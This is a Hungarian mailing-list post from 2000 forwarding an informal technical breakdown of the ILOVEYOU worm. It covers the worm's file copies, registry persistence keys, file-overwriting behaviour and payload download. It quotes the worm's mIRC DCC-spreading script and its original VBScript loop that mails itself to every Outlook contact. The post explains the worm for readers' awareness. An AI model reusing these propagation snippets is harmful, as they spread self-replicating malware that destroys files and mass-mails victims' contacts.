[Fwd: okos virus.... I LOVE YOU ki lehet nyitni mert en irtam :))]
DEVAI, Zoltan
z.devai at mail.datanet.hu
Thu May 4 15:32:29 CEST 2000
-------- Original Message --------
Subject: okos virus.... I LOVE YOU ki lehet nyitni mert en irtam :))
Date: Thu, 4 May 2000 12:51:23 +0200
From: "Peter Kovacs" <petke at datanet.hu>
To: <crew at datanet.hu>, <gebi at freemail.hu>
1, NO , ha mar sikerult elinditani azt az okos scriptet.. akkor NE
inditsatok ujra az explorer-t vagy a netscape browsert.. mert 4 okos
url
alatt meg rejtozik nemi raadas.. ha valakit erdekel az URL az nekem
kuldjon
emailt.. NE nezze meg ..:)
Ezt csak akkor csinalja ha letezik a system -ben benne van a
WinFAT32.exe
ami szerintem csak win9x-en van..
2, Az egesz bigyo azt csinalja hogy az okos windows enviromentjebol
kiszedi
a windows, system, es tem konyvtarak pathjat..
ezutan szepen
a systembe MSKernel32.vbs
a windowsba Win32DLL.vbs
es megegyszer a systembe LOVE-LETTER-FOR-YOU.TXT.vbs neven odateszi
magat.
3,
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
ide
beirja magat ami ugye azt eredmenyezi hogy amikor bootol a vas akkor
elindul
az okos script es mar megy is a buli...
plussz azert meg az NT-ken beteszi magat service-kent is...
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
IGY...!
Ha nincs Download directoryd.. akkor o kinevezi a C:\ ennek...
ezutan..
WIN-BUGSFIX.exe ilyen file-t probal az elso reszben emlitett helyekrol
letolteni.. es beleteszi a run-ba ami gepinditaskor indul is.. szal
megy a
spam masina... ami viszont rendes tole visszallitja a start paget a
bongeszoben about:blank re
4,
Kedves feature.... nagyon favorit file-okkal a varazslas...
vbe, vbs, js, jse, css, wsh, sct, hta, jpg, jpeg, mp3, mp2
kiterjesztesu fileok... letorli es a helyukre szepen sajat magat teszi
.. ha
jol lattam :)
5,
a MIRC irc proggit is nagyon szereti.. az ini file-t szepen atirja a
kovetkezore
[script]
;mIRC Script
; Please dont edit this script... mIRC will corrupt, if mIRC will
corrupt... WINDOWS will affect and will not run correctly. thanks
;
;Khaled Mardam-Bey
;http://www.mirc.com
;
n0=on 1:JOIN:#:{
n1= /if ( $nick == $me ) { halt }
n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM
n3=}
ami csak DCC-vel akinek tudja annak elkuldi..( ennel jobban is ertenek
a
MIRC.ini hez)
5,
Ja a spemmeles ami eloszor derult ki...az ugy mukodik hogy..
Csinal egy Outlook appot.. majd felnyalja a contact listet.. ezt
bevagja egy
tombbe.. es vegig megy rajta...
ekozben a
HKEY_CURRENT_USER\Software\Microsoft\WAB -ba beleteszi az osszes
addressbook
entriest... es orul neki.. :)
mert ez egy olyan ciklusban van ami bele van agyazva egy masikba ugy
hogy
--- orig source -----
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from
me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
--- orig source vege --------------
Mast hala Istennek nem csinal... remelem .. :)) hat sok sikert
mindenhez...
~~
Regards Petke
Peter Kovacs
Developer Engineer
GTS-DataNet LTD.
+36(1)4524476
More information about the Elektro
mailing list